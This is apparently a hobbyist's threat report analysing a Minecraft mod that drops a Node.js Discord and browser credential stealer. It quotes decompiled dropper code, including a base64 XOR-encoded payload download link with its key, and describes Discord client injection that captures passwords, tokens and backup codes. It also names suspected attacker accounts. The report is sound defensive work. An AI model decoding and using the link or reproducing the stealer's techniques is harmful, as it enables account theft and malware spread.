analysis-reports

Threat Report

This is the report I’ve created after analysis of a malware distributed through a Minecraft mod.

I am creating this after an investigation, which began after my friend’s account was compromised by a threat actor.

For anyone reading this: I cannot stress enough how important it is to NOT SEND ANYTHING TO THE WEBHOOKS. That can mess up any investigation done by Discord and prompt the threat actors to attempt to pack up and leave. In public versions of this report the webhook URLs will be censored.

Analysis and report created by RedstoneWizard08.

The Beginning

This malware is received through a direct message, usually from a user on your friends list, asking you to join a Minecraft SMP, where some event is going on. They provide a modpack for you to download.

Example Example

Note that the user in this screenshot was able to kill the malware before it could do any harm.

This user is already compromised, and this is how it begins.

Upon launching the game with the modpack installed, the user immediately becomes infected by the fake mod inside. Their account is then hijacked and used to spread the virus to others.

Example of the aftermath Example of the aftermath

Second example of the aftermath Second example of the aftermath

Hacked accounts will send these DMs to everyone on their friends list, attempting to propagate the worm.

The Dropper

echovoice-beta-1.0.0.jar: an entirely unobfuscated (lol) Minecraft mod for the Fabric loader. It’s fake, and still includes the default example code. It exists only to download the payload and notify the threat actor.

All of the malware logic is implemented in me/kulu/echovoicebeta/client/EchoVoiceBetaClient.class. It is trivially decompiled using tools like Vineflower.

Findings

Two base64-encoded strings can be found inside of this, along with a constant labeled XOR_KEY:

private static final String GIZLI_WEBHOOK = "<censored>";
private static final String GIZLI_LINK = "Iz8/OzhxZGQ8PDxlLzkkOykkM2UoJCZkOCgnZC0iZCN+LSc4f34lOjskc3o8Lnx4JyUpM2QhKj0qPGUuMy50OScgLjJ2JDF+PXM5LSw/ID96JzwzIiIzeHgzfXMmeG04P3YtOH8pejM+eW0vJ3Z6";
private static final byte XOR_KEY = 75;

This can be trivially decoded by decoding the base64 and xor-ing- the results by 75.

CyberChef Link

Strings

Several strings can be found in the decompiled class:

this.gonder(wh, "step 0: indirme basladi");
this.gonder(wh, "hata: indirme basarisiz - " + e.getMessage());
this.gonder(wh, "step 1: exe indirildi (" + f.length() + " bytes)");
this.gonder(wh, "step 2: exe calisti amin (PID: " + process.pid() + ", deneme: " + deneme + ")");
this.gonder(wh, "step 2: exe erken kapandi (exit code: " + exitCode + ", deneme: " + deneme + ")");
this.gonder(wh, "hata: calistirma denemesi " + deneme + "/3 - " + e.getMessage());
this.gonder(wh, "step 2: exe calisti amin (Runtime.exec, PID: " + process.pid() + ")");
this.gonder(wh, "hata: tum denemeler basarisiz - " + ex.getMessage());
this.gonder(wh, "hata: dosya bulunamadi veya cok kucuk");

// and the one real log message:
System.out.println("[EchoVoiceBeta] Mod yuklendi, Minecraft basliyor...");

Based on these strings, we can assume that at least one of the threat actors is Turkish.

this.gonder() is a method which sends a POST request to the provided URL with the given string, and the value of wh is the Discord webhook.

The Payload

The payload, named javaw.exe is a pkg-packed executable containing Node.js code. It uses Node version v22.23.1.

With some Python trickery I was able to extract the code using the length of the original Node binary (found here) and the metadata stored at the end of the file.

Decrypting

The main file, /snapshot/src/main.js, is heavily obfuscated. After formatting, I noticed several string arrays at the top of the file, likely containing many important variables and related things.

As it was admittedly a bit too much for me to handle alone (I attempted decrypting it and failed miserably), I had an AI do some of the process for me (specifically Claude Sonnet 5). Yes, I know, cringe, but hey, it worked.

(Full chat here: <censored>)

It found quite a lot, and immediately I found many things in the resulting deobfuscated code.

Findings

There are likely other behaviors I have not yet discovered, but this appears to be a pretty standard credential stealer, with some strange quirks.

There are also a great many log messages or status updates found inside the code, too many to put here. I’ll just put a few:

["content"]: "wallet dustu omg",
["avatar_url"]: "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ42h8jIT0ZGFgdWTryx2CD44gj-kCC1wSjFw&s",
["username"]: "anani sikeyim wallet oha",

["filename"]: "mythprivate-log.zip",

XRUML1("step 0: abi admin perm var tmm np");
XRUML1("step 0: abi admin perm yok amk");
await XRUML1("step 1: browsers cekenzi");
await XRUML1("step 2: firefox cekenzi");
await XRUML1("step 3: tokens insallah uzun surmez amin");
XRUML1("step 4: discord injection");

Some of these are in English, which leads me to believe that this is a group of threat actors, not just a single one.

The Injected Code

The malware attempts to inject itself into the Discord client, which seems to be an attempt to collect new tokens with users log in. I found two potential user accounts mentioned in a webhook message: @mythprivate and @kurdishmyth.

As of July 26th, 2026, at 12:39 PM PDT (when I am writing this), I have no idea if these usernames have changed or not.

The injected code also appears to hook into MFA login, email changing, backup codes viewing, and password changes, sending the results (old password, new password, new email, backup codes, token, etc.) to the threat actor’s webhook (same as above, found in the payload).

I also found some strings in the webhook body it sends:

"herkes kendine yakisani yapsin be cergo @mythprivate @kurdishmyth"

// translation:
"Let everyone do what suits them, Cergo. @mythprivate @kurdishmyth"

Other information

During my initial investigation, some friends who were helping our friend recover his accounts told me of two potential culprits.

When our friend’s account was hacked, the @1sleepwalk user joined his community Discord server and immediately got full administrator permissions. This leads me to believe that this is, in fact, an account owned by the threat actor. Whether it is an alt account or not, I am not sure.

I was also told that YouTuber No Text To Speech made a video on this exact issue, which was published 14 hours before we experienced it firsthand. It can be found here: https://www.youtube.com/watch?v=kVQfwL2ZMkQ

Conclusion

According to a package.json I was able to extract, the name of the malware is build-myth. Some log messages suggest it may be something along the lines of “Myth Private”, but it is not my job to assign it a name. I’m just doing what I can to help figure out how to detect it.

The malware appears to have no C2 server, instead relying on a single Discord webhook.

Steps we took for recovery included reinstalling the OS (while keeping important user files), resetting passwords, and attempting to contact Discord support via Twitter, as well as their support portal.

I have also notified Dropbox of the malicious file, but it is unknown whether they will act on my email.

I’ve uploaded the sample of javaw.exe to VirusTotal, which detected nothing. The result can be seen here.

I’ve also uploaded the malicious mod, which was also completely undetected. The result can be seen here.

I hope this document can help bring these threat actors down, and prevent others from being affected.